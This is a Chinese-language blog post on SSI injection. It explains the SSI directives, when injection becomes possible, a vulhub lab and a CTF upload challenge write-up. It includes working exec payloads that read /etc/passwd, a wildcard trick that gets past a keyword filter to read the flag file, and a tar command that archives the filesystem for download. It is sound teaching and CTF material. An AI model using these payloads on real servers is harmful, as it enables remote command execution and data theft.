SSI注入漏洞总结
前言
在前几天的长安战疫CTF
中第一次遇到了SSI
注入漏洞,借此机会学习一波SSI
现在大多数的Web
服务已经很少使用SSI
了,但是偶尔还是可能碰到
基本概念
SSI
全称Server Side Includes
,即服务器端包含,事一种基于服务器端的网页制作技术。SSI
是嵌入html
页面中的指令,在页面被请求时由服务器进行运算,对现有的html
页面增加动态生成的内容,而无需通过CGI
程序提供其整个页面,或者使用其他动态技术。
这里再提一下CGI
的作用:CGI
程序是在Web服务器处理动态脚本请求时fork
出来的进程,然后将动态脚本交给CGI
程序来处理,在我之前的文章也有提到过:LAMP和LNMP环境搭建的艰难过程
回到主题SSI
,SSI
可以将一些独立的html
文件给包含进来,从而不需要反复的编写一样的代码,但是它不仅如此,还可以注入脚本或远程执行任意代码。
SHTML
文件(stm
、shtm
)即Server-Parsed HTML
,该文件就是应用了SSI
技术的文件,所以在shtml
文件页面返回客户端前,页面中的SSI
指令将被服务器解析。
现在的Web服务器
默认应该都是不开启SSI
功能的,所以需要手动开启,开启方法特别简单,只需要修改配置文件即可,这里就不过多阐述了。
SSI
基本语法
在shtml
文件中SSI
标签使用的几种基本语法如下,必须注意的是其语法格式必须是以html
的注释符<!--
开头、且后面紧接#
符号和SSI
命令,它们期间不能存在空格:
#config
:指定返回到client浏览器的错误消息、日期和文件大小所使用的格式。
#echo
:在 HTML 页中插入环境变量的值。
#exec
:执行一个应用程序或一条 shell 命令并将输出插入到 HTML 页中。
#flastmod
:将文件改动日期插入到 HTML 页中。
#fsize
:将文件大小插入到 HTML 页中。
#include
:在 HTML 或 ASP 页中包括文件。
1.显示服务器端环境变量<#echo>
本文档名称:<!--#echo var="DOCUMENT_NAME"-->
现在时间:<!--#echo var="DATE_LOCAL"-->
显示IP
地址:<!--#echo var="REMOTE_ADDR"-->
2、将文本内容直接插入到文档中<#include>
<!--#include file="文件名称"-->
<!--#include virtual="index.html" -->
<!--#include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径。
3、显示WEB文档相关信息<#flastmod><#fsize>
(如文件制作日期/大小等)
文件最近更新日期:<! #flastmod file="文件名称"–>
文件的长度:<!--#fsize file="文件名称"-->
4、直接执行服务器上的各种程序<#exec>
(如CGI
或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"--
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
将某一外部程序的输出插入到页面中。可插入CGI程序
或者是常规应用程序的输入,这取决于使用的参数是cmd
还是CGI
。
SSI
注入漏洞
明白了SSI
的语法,我们发现居然可以任意执行命令,如果页面内容可控就会导致漏洞的产生。
前提条件
Web服务器支持并开启了SSI
;
Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
外部输入的参数值未进行有效的过滤;
漏洞场景
比如,一个存在反射型XSS漏洞
的页面,如果输入的payload
不是XSS
代码而是SSI
的标签,同时服务器又开启了对SSI
的支持的话就会存在SSI注入漏洞
。
在或者,一个存在文件上传漏洞的页面,也可以构造shtml
文件进行上传,从而可以实现远程命令执行。
实例
靶场环境:https://github.com/vulhub/vulhub/tree/master/httpd/ssi-rce
我们上传一个shtml
文件
上传成功后我们访问shell.shtml
,执行了系统命令
长安战疫baby_upload复盘
四叶草这次的比赛有复盘,简直太秒了!
这个题过滤了ph
、ini
、.htaccess
,所以菜鸡的我当时就不知道该怎么写了。
我们直接进行SSI
注入,发现过滤了好多的命令,可以使用dir /
查看文件
访问页面得到
app home root start.sh
bin lib run sys
boot lib64 run.sh tmp
create_mysql_admin_user.sh media sbin usr
dev mnt srv var
etc opt start-apache2.sh
fffffflllll11111aaaaa4444ggggg proc start-mysqld.sh
看到flag
文件,进行读取,但是发现过滤了fl
,也过滤了很多读取命令,fl
可以使用通配符?
绕过,读取命令看wp
用了cut
命令进行读取
<!--#exec cmd="cut -b 1-100 /fffff?lllll11111aaaaa4444ggggg" -->
或者
<!--#exec cmd="cut -c 1-100 /fffff?lllll11111aaaaa4444ggggg" -->
- -b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
- -c :以字符为单位进行分割。
还有EDI
战队的wp
里,使用tar
命令将文件进行了打包,然后将打包文件直接下载了下来,这波操作我只能说高呼666,又学到了骚操作。
<!--#exec cmd="tar cvf /var/www/html/upload/d7efaae655f6177619403045edc9ae32/2.tar / --exclude=/bin --exclude=app --exclude=home --exclude=root --exclude=run --exclude=lib --exclude=sys --exclude=tmp --exclude=usr --exclude=var --exclude=mnt --exclude=opt --exclude=etc --exclude=dev --exclude=boot --exclude=bin --exclude=proc --exclude=sbin --exclude=media"-->
扩展:动态内容缓存技术
SSI
属于动态内容缓存技术的一种,当一个页面大部分是可静态的,但是又一部分却需要时动态的,如果经过cgi
程序进行解析将会增大服务器的压力,所以就出现了动态内容缓存技术。
最常见的技术有三种: CSI
、SSI
、ESI
应用模式 | 指令模式 | 页面后缀 | |
---|---|---|---|
CSI |
客户端 | 无需指令,ajax/iframe实现 无需服务器支持 | 常见后缀 |
SSI |
服务端 | SSI专用指令需要专用服务器支持 | .shtml ,.inc 或者常见后缀 |
ESI |
服务端 | ESI专用指令 需要专用服务器支持 | 常见后缀 |